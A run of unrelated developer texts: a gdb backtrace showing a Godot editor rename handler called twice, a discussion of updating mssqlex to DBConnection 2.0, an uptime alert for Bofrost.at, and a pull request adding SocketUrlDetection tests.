opus-1.5.1-1.fc40.x86_64 pcre2-10.42-2.fc40.2.x86_64 systemd-libs-255.6-1.fc40.x86_64 xz-libs-5.4.6-3.fc40.x86_64 zlib-ng-compat-2.1.6-2.fc40.x86_64
(gdb) bt
#0  FileSystemDock::_rename_operation_confirm (this=0x14373770) at ./editor/filesystem_dock.cpp:1830
#1  0x0000000007aa2397 in call_with_variant_args_helper<FileSystemDock>(FileSystemDock*, void (FileSystemDock::*)(), Variant const**, Callable::CallError&, IndexSequence<>) (p_instance=0x14373770,
    p_method=(void (FileSystemDock::*)(FileSystemDock * const)) 0x79947c2 <FileSystemDock::_rename_operation_confirm()>, p_args=0x0, r_error=...) at ./core/variant/binder_common.h:304
#2  0x0000000007a97b1a in call_with_variant_args<FileSystemDock> (p_instance=0x14373770, p_method=(void (FileSystemDock::*)(FileSystemDock * const)) 0x79947c2 <FileSystemDock::_rename_operation_confirm()>,
    p_args=0x0, p_argcount=0, r_error=...) at ./core/variant/binder_common.h:418
#3  0x0000000007a64cf4 in CallableCustomMethodPointer<FileSystemDock>::call (this=0x1440bed0, p_arguments=0x0, p_argcount=0, r_return_value=..., r_call_error=...) at ./core/object/callable_method_pointer.h:103
#4  0x000000000a7daf73 in Callable::callp (this=0x7fffffff8cf0, p_arguments=0x0, p_argcount=0, r_return_value=..., r_call_error=...) at ./core/variant/callable.cpp:57
#5  0x000000000ab1451d in Object::emit_signalp (this=0x143d9060, p_name=..., p_args=0x0, p_argcount=0) at ./core/object/object.cpp:1219
#6  0x000000000864d092 in Node::emit_signalp (this=0x143d9060, p_name=..., p_args=0x0, p_argcount=0) at ./scene/main/node.cpp:3884
#7  0x000000000621fd03 in Object::emit_signal<>(StringName const&) (this=0x143d9060, p_name=...) at ./core/object/object.h:936
#8  0x00000000089963e0 in Tree::item_edited (this=0x143d9060, p_column=0, p_item=0x1eaee690, p_custom_mouse_index=MouseButton::NONE) at ./scene/gui/tree.cpp:4466
#9  0x000000000898e609 in Tree::_line_editor_submit (this=0x143d9060, p_text=...) at ./scene/gui/tree.cpp:3241
#10 0x0000000008be235d in call_with_variant_args_helper<Tree, String, 0ul> (p_instance=0x143d9060, p_method=(void (Tree::*)(Tree * const, String)) 0x898e414 <Tree::_line_editor_submit(String)>,
    p_args=0x7fffffff94c0, r_error=...) at ./core/variant/binder_common.h:304
#11 0x0000000008bb3773 in call_with_variant_args<Tree, String> (p_instance=0x143d9060, p_method=(void (Tree::*)(Tree * const, String)) 0x898e414 <Tree::_line_editor_submit(String)>, p_args=0x7fffffff94c0,
    p_argcount=1, r_error=...) at ./core/variant/binder_common.h:418
#12 0x0000000008b6a84a in CallableCustomMethodPointer<Tree, String>::call (this=0x144060c0, p_arguments=0x7fffffff94c0, p_argcount=1, r_return_value=..., r_call_error=...)
    at ./core/object/callable_method_pointer.h:103
#13 0x000000000a7daf73 in Callable::callp (this=0x7fffffff92a0, p_arguments=0x7fffffff94c0, p_argcount=1, r_return_value=..., r_call_error=...) at ./core/variant/callable.cpp:57
#14 0x000000000ab1451d in Object::emit_signalp (this=0x143f1530, p_name=..., p_args=0x7fffffff94c0, p_argcount=1) at ./core/object/object.cpp:1219
#15 0x000000000864d092 in Node::emit_signalp (this=0x143f1530, p_name=..., p_args=0x7fffffff94c0, p_argcount=1) at ./scene/main/node.cpp:3884
#16 0x0000000006cf01c4 in Object::emit_signal<String> (this=0x143f1530, p_name=...) at ./core/object/object.h:936
#17 0x0000000008878e59 in LineEdit::gui_input (this=0x143f1530, p_event=...) at ./scene/gui/line_edit.cpp:502
#18 0x00000000087fb279 in Control::_call_gui_input (this=0x143f1530, p_event=...) at ./scene/gui/control.cpp:1825
--Type <RET> for more, q to quit, c to continue without paging--
#19 0x000000000866cef9 in Viewport::_gui_input_event (this=0x143ea350, p_event=...) at ./scene/main/viewport.cpp:2197
#20 0x0000000008672182 in Viewport::push_input (this=0x143ea350, p_event=..., p_local_coords=false) at ./scene/main/viewport.cpp:3248
#21 0x000000000869715d in Window::_window_input (this=0x143ea350, p_ev=...) at ./scene/main/window.cpp:1628
#22 0x000000000879cf5b in call_with_variant_args_helper<Window, Ref<InputEvent> const&, 0ul> (p_instance=0x143ea350,
    p_method=(void (Window::*)(Window * const, const Ref<InputEvent> &)) 0x8696c02 <Window::_window_input(Ref<InputEvent> const&)>, p_args=0x7fffffffc6c0, r_error=...) at ./core/variant/binder_common.h:304
#23 0x000000000877f616 in call_with_variant_args<Window, Ref<InputEvent> const&> (p_instance=0x143ea350,
    p_method=(void (Window::*)(Window * const, const Ref<InputEvent> &)) 0x8696c02 <Window::_window_input(Ref<InputEvent> const&)>, p_args=0x7fffffffc6c0, p_argcount=1, r_error=...)
    at ./core/variant/binder_common.h:418
#24 0x000000000875e590 in CallableCustomMethodPointer<Window, Ref<InputEvent> const&>::call (this=0x143ec480, p_arguments=0x7fffffffc6c0, p_argcount=1, r_return_value=..., r_call_error=...)
    at ./core/object/callable_method_pointer.h:103
#25 0x000000000a7daf73 in Callable::callp (this=0x7fffffffc770, p_arguments=0x7fffffffc6c0, p_argcount=1, r_return_value=..., r_call_error=...) at ./core/variant/callable.cpp:57
#26 0x0000000005b1bd75 in Callable::call<Ref<InputEvent> > (this=0x7fffffffc770) at ./core/variant/variant.h:875
#27 0x0000000005b080e0 in DisplayServerX11::_dispatch_input_event (this=0xbb26da0, p_event=...) at platform/linuxbsd/x11/display_server_x11.cpp:4012
#28 0x0000000005b07fc5 in DisplayServerX11::_dispatch_input_events (p_event=...) at platform/linuxbsd/x11/display_server_x11.cpp:4001
#29 0x000000000a77844f in Input::_parse_input_event_impl (this=0xb346ec0, p_event=..., p_is_emulated=false) at ./core/input/input.cpp:773
#30 0x000000000a77974a in Input::flush_buffered_events (this=0xb346ec0) at ./core/input/input.cpp:1044
#31 0x0000000005b0ce95 in DisplayServerX11::process_events (this=0xbb26da0) at platform/linuxbsd/x11/display_server_x11.cpp:5123
#32 0x0000000005ae500c in OS_LinuxBSD::run (this=0x7fffffffd0e0) at platform/linuxbsd/os_linuxbsd.cpp:958
#33 0x0000000005adddb1 in main (argc=2, argv=0x7fffffffd738) at platform/linuxbsd/godot_linuxbsd.cpp:85
(gdb) print new_path
$1 = {_cowdata = {static MAX_INT = <optimized out>, static REF_COUNT_OFFSET = <optimized out>, static SIZE_OFFSET = <optimized out>, static DATA_OFFSET = <optimized out>, _ptr = 0x1ee6a440 U"res://test.gd"},
  static _null = 0 U'\000', static _replacement_char = 65533 U'�'}
(gdb) print old_path
$2 = {_cowdata = {static MAX_INT = <optimized out>, static REF_COUNT_OFFSET = <optimized out>, static SIZE_OFFSET = <optimized out>, static DATA_OFFSET = <optimized out>, _ptr = 0x24436d00 U"res://ddda.gd"},
  static _null = 0 U'\000', static _replacement_char = 65533 U'�'}

Putting the breakpoint a bit further up, I can confirm that FileSystemDock::_rename_operation_confirm is called twice. It's successful the first time, and the second time triggers the error since the name already changed.
Thread 1 "godot-git" hit Breakpoint 2, FileSystemDock::_rename_operation_confirm (this=0x14aadd80) at ./editor/filesystem_dock.cpp:1825
1825            bool new_exist = (da->file_exists(new_path) || da->dir_exists(new_path));
(gdb) bt
#0  FileSystemDock::_rename_operation_confirm (this=0x14aadd80) at ./editor/filesystem_dock.cpp:1825
#1  0x0000000007aa2397 in call_with_variant_args_helper<FileSystemDock>(FileSystemDock*, void (FileSystemDock::*)(), Variant const**, Callable::CallError&, IndexSequence<>) (p_instance=0x14aadd80,
    p_method=(void (FileSystemDock::*)(FileSystemDock * const)) 0x79947c2 <FileSystemDock::_rename_operation_confirm()>, p_args=0x0, r_error=...) at ./core/variant/binder_common.h:304
#2  0x0000000007a97b1a in call_with_variant_args<FileSystemDock> (p_instance=0x14aadd80, p_method=(void (FileSystemDock::*)(FileSystemDock * const)) 0x79947c2 <FileSystemDock::_rename_operation_confirm()>,
    p_args=0x0, p_argcount=0, r_error=...) at ./core/variant/binder_common.h:418
#3  0x0000000007a64cf4 in CallableCustomMethodPointer<FileSystemDock>::call (this=0x14b464e0, p_arguments=0x0, p_argcount=0, r_return_value=..., r_call_error=...) at ./core/object/callable_method_pointer.h:103
#4  0x000000000a7daf73 in Callable::callp (this=0x7fffffff8600, p_arguments=0x0, p_argcount=0, r_return_value=..., r_call_error=...) at ./core/variant/callable.cpp:57
#5  0x000000000ab1451d in Object::emit_signalp (this=0x14b13670, p_name=..., p_args=0x0, p_argcount=0) at ./core/object/object.cpp:1219
#6  0x000000000864d092 in Node::emit_signalp (this=0x14b13670, p_name=..., p_args=0x0, p_argcount=0) at ./scene/main/node.cpp:3884
#7  0x000000000621fd03 in Object::emit_signal<>(StringName const&) (this=0x14b13670, p_name=...) at ./core/object/object.h:936
#8  0x00000000089963e0 in Tree::item_edited (this=0x14b13670, p_column=0, p_item=0x22e7c420, p_custom_mouse_index=MouseButton::NONE) at ./scene/gui/tree.cpp:4466
#9  0x000000000898e609 in Tree::_line_editor_submit (this=0x14b13670, p_text=...) at ./scene/gui/tree.cpp:3241
#10 0x000000000898e1c2 in Tree::_text_editor_popup_modal_close (this=0x14b13670) at ./scene/gui/tree.cpp:3170
#11 0x00000000078b66cb in call_with_variant_args_helper<Tree>(Tree*, void (Tree::*)(), Variant const**, Callable::CallError&, IndexSequence<>) (p_instance=0x14b13670,
    p_method=(void (Tree::*)(Tree * const)) 0x898e098 <Tree::_text_editor_popup_modal_close()>, p_args=0x0, r_error=...) at ./core/variant/binder_common.h:304
#12 0x00000000078a586f in call_with_variant_args<Tree> (p_instance=0x14b13670, p_method=(void (Tree::*)(Tree * const)) 0x898e098 <Tree::_text_editor_popup_modal_close()>, p_args=0x0, p_argcount=0, r_error=...)
    at ./core/variant/binder_common.h:418
#13 0x0000000007882954 in CallableCustomMethodPointer<Tree>::call (this=0x14b40d90, p_arguments=0x0, p_argcount=0, r_return_value=..., r_call_error=...) at ./core/object/callable_method_pointer.h:103
#14 0x000000000a7daf73 in Callable::callp (this=0x7fffffff8bd0, p_arguments=0x0, p_argcount=0, r_return_value=..., r_call_error=...) at ./core/variant/callable.cpp:57
#15 0x000000000ab1451d in Object::emit_signalp (this=0x14b24960, p_name=..., p_args=0x0, p_argcount=0) at ./core/object/object.cpp:1219
#16 0x000000000864d092 in Node::emit_signalp (this=0x14b24960, p_name=..., p_args=0x0, p_argcount=0) at ./scene/main/node.cpp:3884
#17 0x000000000621fd03 in Object::emit_signal<>(StringName const&) (this=0x14b24960, p_name=...) at ./core/object/object.h:936
#18 0x00000000088a5dec in Popup::_notification (this=0x14b24960, p_what=30) at ./scene/gui/popup.cpp:83
#19 0x000000000775eb1a in Popup::_notificationv (this=0x14b24960, p_notification=30, p_reversed=false) at ./scene/gui/popup.h:41
--Type <RET> for more, q to quit, c to continue without paging--
#20 0x000000000ab127c2 in Object::notification (this=0x14b24960, p_notification=30, p_reversed=false) at ./core/object/object.cpp:903
#21 0x0000000008692b82 in Window::set_visible (this=0x14b24960, p_visible=false) at ./scene/main/window.cpp:847
#22 0x00000000086927da in Window::hide (this=0x14b24960) at ./scene/main/window.cpp:798
#23 0x000000000898e438 in Tree::_line_editor_submit (this=0x14b13670, p_text=...) at ./scene/gui/tree.cpp:3208
#24 0x0000000008be235d in call_with_variant_args_helper<Tree, String, 0ul> (p_instance=0x14b13670, p_method=(void (Tree::*)(Tree * const, String)) 0x898e414 <Tree::_line_editor_submit(String)>,
    p_args=0x7fffffff94c0, r_error=...) at ./core/variant/binder_common.h:304
#25 0x0000000008bb3773 in call_with_variant_args<Tree, String> (p_instance=0x14b13670, p_method=(void (Tree::*)(Tree * const, String)) 0x898e414 <Tree::_line_editor_submit(String)>, p_args=0x7fffffff94c0,
    p_argcount=1, r_error=...) at ./core/variant/binder_common.h:418
#26 0x0000000008b6a84a in CallableCustomMethodPointer<Tree, String>::call (this=0x14b406d0, p_arguments=0x7fffffff94c0, p_argcount=1, r_return_value=..., r_call_error=...)
    at ./core/object/callable_method_pointer.h:103
#27 0x000000000a7daf73 in Callable::callp (this=0x7fffffff92a0, p_arguments=0x7fffffff94c0, p_argcount=1, r_return_value=..., r_call_error=...) at ./core/variant/callable.cpp:57
#28 0x000000000ab1451d in Object::emit_signalp (this=0x14b2bb40, p_name=..., p_args=0x7fffffff94c0, p_argcount=1) at ./core/object/object.cpp:1219
#29 0x000000000864d092 in Node::emit_signalp (this=0x14b2bb40, p_name=..., p_args=0x7fffffff94c0, p_argcount=1) at ./scene/main/node.cpp:3884
#30 0x0000000006cf01c4 in Object::emit_signal<String> (this=0x14b2bb40, p_name=...) at ./core/object/object.h:936
#31 0x0000000008878e59 in LineEdit::gui_input (this=0x14b2bb40, p_event=...) at ./scene/gui/line_edit.cpp:502
#32 0x00000000087fb279 in Control::_call_gui_input (this=0x14b2bb40, p_event=...) at ./scene/gui/control.cpp:1825
#33 0x000000000866cef9 in Viewport::_gui_input_event (this=0x14b24960, p_event=...) at ./scene/main/viewport.cpp:2197
#34 0x0000000008672182 in Viewport::push_input (this=0x14b24960, p_event=..., p_local_coords=false) at ./scene/main/viewport.cpp:3248
#35 0x000000000869715d in Window::_window_input (this=0x14b24960, p_ev=...) at ./scene/main/window.cpp:1628
#36 0x000000000879cf5b in call_with_variant_args_helper<Window, Ref<InputEvent> const&, 0ul> (p_instance=0x14b24960,
    p_method=(void (Window::*)(Window * const, const Ref<InputEvent> &)) 0x8696c02 <Window::_window_input(Ref<InputEvent> const&)>, p_args=0x7fffffffc6c0, r_error=...) at ./core/variant/binder_common.h:304
#37 0x000000000877f616 in call_with_variant_args<Window, Ref<InputEvent> const&> (p_instance=0x14b24960,
    p_method=(void (Window::*)(Window * const, const Ref<InputEvent> &)) 0x8696c02 <Window::_window_input(Ref<InputEvent> const&)>, p_args=0x7fffffffc6c0, p_argcount=1, r_error=...)
    at ./core/variant/binder_common.h:418
--Type <RET> for more, q to quit, c to continue without paging--
#38 0x000000000875e590 in CallableCustomMethodPointer<Window, Ref<InputEvent> const&>::call (this=0x14b26a90, p_arguments=0x7fffffffc6c0, p_argcount=1, r_return_value=..., r_call_error=...)
    at ./core/object/callable_method_pointer.h:103
#39 0x000000000a7daf73 in Callable::callp (this=0x7fffffffc770, p_arguments=0x7fffffffc6c0, p_argcount=1, r_return_value=..., r_call_error=...) at ./core/variant/callable.cpp:57
#40 0x0000000005b1bd75 in Callable::call<Ref<InputEvent> > (this=0x7fffffffc770) at ./core/variant/variant.h:875
#41 0x0000000005b080e0 in DisplayServerX11::_dispatch_input_event (this=0xbb26700, p_event=...) at platform/linuxbsd/x11/display_server_x11.cpp:4012
#42 0x0000000005b07fc5 in DisplayServerX11::_dispatch_input_events (p_event=...) at platform/linuxbsd/x11/display_server_x11.cpp:4001
#43 0x000000000a77844f in Input::_parse_input_event_impl (this=0xb346ec0, p_event=..., p_is_emulated=false) at ./core/input/input.cpp:773
#44 0x000000000a77974a in Input::flush_buffered_events (this=0xb346ec0) at ./core/input/input.cpp:1044
#45 0x0000000005b0ce95 in DisplayServerX11::process_events (this=0xbb26700) at platform/linuxbsd/x11/display_server_x11.cpp:5123
#46 0x0000000005ae500c in OS_LinuxBSD::run (this=0x7fffffffd0e0) at platform/linuxbsd/os_linuxbsd.cpp:958
#47 0x0000000005adddb1 in main (argc=2, argv=0x7fffffffd738) at platform/linuxbsd/godot_linuxbsd.cpp:85
(gdb) c
Continuing.
[New Thread 0x7fff9f4006c0 (LWP 73091)]

Thread 1 "godot-git" hit Breakpoint 2, FileSystemDock::_rename_operation_confirm (this=0x14aadd80) at ./editor/filesystem_dock.cpp:1825
1825            bool new_exist = (da->file_exists(new_path) || da->dir_exists(new_path));
(gdb) bt
#0  FileSystemDock::_rename_operation_confirm (this=0x14aadd80) at ./editor/filesystem_dock.cpp:1825
#1  0x0000000007aa2397 in call_with_variant_args_helper<FileSystemDock>(FileSystemDock*, void (FileSystemDock::*)(), Variant const**, Callable::CallError&, IndexSequence<>) (p_instance=0x14aadd80,
    p_method=(void (FileSystemDock::*)(FileSystemDock * const)) 0x79947c2 <FileSystemDock::_rename_operation_confirm()>, p_args=0x0, r_error=...) at ./core/variant/binder_common.h:304
#2  0x0000000007a97b1a in call_with_variant_args<FileSystemDock> (p_instance=0x14aadd80, p_method=(void (FileSystemDock::*)(FileSystemDock * const)) 0x79947c2 <FileSystemDock::_rename_operation_confirm()>,
    p_args=0x0, p_argcount=0, r_error=...) at ./core/variant/binder_common.h:418
#3  0x0000000007a64cf4 in CallableCustomMethodPointer<FileSystemDock>::call (this=0x14b464e0, p_arguments=0x0, p_argcount=0, r_return_value=..., r_call_error=...) at ./core/object/callable_method_pointer.h:103
#4  0x000000000a7daf73 in Callable::callp (this=0x7fffffff8cf0, p_arguments=0x0, p_argcount=0, r_return_value=..., r_call_error=...) at ./core/variant/callable.cpp:57
#5  0x000000000ab1451d in Object::emit_signalp (this=0x14b13670, p_name=..., p_args=0x0, p_argcount=0) at ./core/object/object.cpp:1219
#6  0x000000000864d092 in Node::emit_signalp (this=0x14b13670, p_name=..., p_args=0x0, p_argcount=0) at ./scene/main/node.cpp:3884
#7  0x000000000621fd03 in Object::emit_signal<>(StringName const&) (this=0x14b13670, p_name=...) at ./core/object/object.h:936
#8  0x00000000089963e0 in Tree::item_edited (this=0x14b13670, p_column=0, p_item=0x22e7c420, p_custom_mouse_index=MouseButton::NONE) at ./scene/gui/tree.cpp:4466
#9  0x000000000898e609 in Tree::_line_editor_submit (this=0x14b13670, p_text=...) at ./scene/gui/tree.cpp:3241
#10 0x0000000008be235d in call_with_variant_args_helper<Tree, String, 0ul> (p_instance=0x14b13670, p_method=(void (Tree::*)(Tree * const, String)) 0x898e414 <Tree::_line_editor_submit(String)>,
    p_args=0x7fffffff94c0, r_error=...) at ./core/variant/binder_common.h:304
#11 0x0000000008bb3773 in call_with_variant_args<Tree, String> (p_instance=0x14b13670, p_method=(void (Tree::*)(Tree * const, String)) 0x898e414 <Tree::_line_editor_submit(String)>, p_args=0x7fffffff94c0,
    p_argcount=1, r_error=...) at ./core/variant/binder_common.h:418
#12 0x0000000008b6a84a in CallableCustomMethodPointer<Tree, String>::call (this=0x14b406d0, p_arguments=0x7fffffff94c0, p_argcount=1, r_return_value=..., r_call_error=...)
    at ./core/object/callable_method_pointer.h:103
#13 0x000000000a7daf73 in Callable::callp (this=0x7fffffff92a0, p_arguments=0x7fffffff94c0, p_argcount=1, r_return_value=..., r_call_error=...) at ./core/variant/callable.cpp:57
#14 0x000000000ab1451d in Object::emit_signalp (this=0x14b2bb40, p_name=..., p_args=0x7fffffff94c0, p_argcount=1) at ./core/object/object.cpp:1219
#15 0x000000000864d092 in Node::emit_signalp (this=0x14b2bb40, p_name=..., p_args=0x7fffffff94c0, p_argcount=1) at ./scene/main/node.cpp:3884
#16 0x0000000006cf01c4 in Object::emit_signal<String> (this=0x14b2bb40, p_name=...) at ./core/object/object.h:936
#17 0x0000000008878e59 in LineEdit::gui_input (this=0x14b2bb40, p_event=...) at ./scene/gui/line_edit.cpp:502
#18 0x00000000087fb279 in Control::_call_gui_input (this=0x14b2bb40, p_event=...) at ./scene/gui/control.cpp:1825
--Type <RET> for more, q to quit, c to continue without paging--
#19 0x000000000866cef9 in Viewport::_gui_input_event (this=0x14b24960, p_event=...) at ./scene/main/viewport.cpp:2197
#20 0x0000000008672182 in Viewport::push_input (this=0x14b24960, p_event=..., p_local_coords=false) at ./scene/main/viewport.cpp:3248
#21 0x000000000869715d in Window::_window_input (this=0x14b24960, p_ev=...) at ./scene/main/window.cpp:1628
#22 0x000000000879cf5b in call_with_variant_args_helper<Window, Ref<InputEvent> const&, 0ul> (p_instance=0x14b24960,
    p_method=(void (Window::*)(Window * const, const Ref<InputEvent> &)) 0x8696c02 <Window::_window_input(Ref<InputEvent> const&)>, p_args=0x7fffffffc6c0, r_error=...) at ./core/variant/binder_common.h:304
#23 0x000000000877f616 in call_with_variant_args<Window, Ref<InputEvent> const&> (p_instance=0x14b24960,
    p_method=(void (Window::*)(Window * const, const Ref<InputEvent> &)) 0x8696c02 <Window::_window_input(Ref<InputEvent> const&)>, p_args=0x7fffffffc6c0, p_argcount=1, r_error=...)
    at ./core/variant/binder_common.h:418
#24 0x000000000875e590 in CallableCustomMethodPointer<Window, Ref<InputEvent> const&>::call (this=0x14b26a90, p_arguments=0x7fffffffc6c0, p_argcount=1, r_return_value=..., r_call_error=...)
    at ./core/object/callable_method_pointer.h:103
#25 0x000000000a7daf73 in Callable::callp (this=0x7fffffffc770, p_arguments=0x7fffffffc6c0, p_argcount=1, r_return_value=..., r_call_error=...) at ./core/variant/callable.cpp:57
#26 0x0000000005b1bd75 in Callable::call<Ref<InputEvent> > (this=0x7fffffffc770) at ./core/variant/variant.h:875
#27 0x0000000005b080e0 in DisplayServerX11::_dispatch_input_event (this=0xbb26700, p_event=...) at platform/linuxbsd/x11/display_server_x11.cpp:4012
#28 0x0000000005b07fc5 in DisplayServerX11::_dispatch_input_events (p_event=...) at platform/linuxbsd/x11/display_server_x11.cpp:4001
#29 0x000000000a77844f in Input::_parse_input_event_impl (this=0xb346ec0, p_event=..., p_is_emulated=false) at ./core/input/input.cpp:773
#30 0x000000000a77974a in Input::flush_buffered_events (this=0xb346ec0) at ./core/input/input.cpp:1044
#31 0x0000000005b0ce95 in DisplayServerX11::process_events (this=0xbb26700) at platform/linuxbsd/x11/display_server_x11.cpp:5123
#32 0x0000000005ae500c in OS_LinuxBSD::run (this=0x7fffffffd0e0) at platform/linuxbsd/os_linuxbsd.cpp:958
#33 0x0000000005adddb1 in main (argc=2, argv=0x7fffffffd738) at platform/linuxbsd/godot_linuxbsd.cpp:85
(gdb)
(gdb) c
Continuing.

Thread 1 "godot-git" hit Breakpoint 1, FileSystemDock::_rename_operation_confirm (this=0x14aadd80) at ./editor/filesystem_dock.cpp:1830
1830                    EditorNode::get_singleton()->show_warning(TTR("A file or folder with this name already exists."));

Also seems to be reproducible on macOS.


Update DBConnection to version 2.0

I have started work on updating Mssqlex to use DBConnection version 2.0 (https://github.com/whossname/mssqlex/tree/db_connection_2.0)
I believe this is the first step towards Ecto 3 support in mssql_ecto. (https://github.com/findmypast-oss/mssql_ecto/issues/43).
This is likely to take me a fair amount of time as I will be doing it in my spare time, and still don't really understand how DBConnection and Mssqlex work. I'm mostly just working on getting the tests to work at the moment.

A quick update on this. I haven't really had much time to work on it over the last couple of weeks, and don't expect to have much time for it in the next few weeks. I'm reasonably confident that what I'm doing with mssqlex is along the right track, but mssql_ecto still needs a lot of work. I hope to get to it at some stage in the next month or two.

I am really looking forward to this so a big thank you in advance from me too. Having some random disconnect issues from Db_connection and hoping this might help :)

As mentioned in https://github.com/findmypast-oss/mssql_ecto/issues/43 this isn't the main issue in updating to Ecto 3. I think it is pretty much already addressed on my branch of mssqlex. I won't make the pull request until I've got a version of mssql_ecto working for Ecto-3

This pull request https://github.com/findmypast-oss/mssqlex/pull/24


⚠ Bofrost.at has degraded performance

In e8b73c2, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 2186 ms

Resolved: Bofrost.at performance has improved in c11e7f0.


Add test cases for SocketUrlDetection

There is no test class in SocketUrlDetection.
So, I created SocketUrlDetectionTest class and I wrote the test cases.
Please check this pull request.
Thanks.

@erikdw Thank you for review.
I rewrote code based on your review.

modified constant name: PORT --> HOPEFULLY_UNUSED_PORT
chaged port 9999 --> 29999
added comment to isReachableFalse method

Please check again.

@fuji-151a : thanks for the great comments that make it very clear what is happening.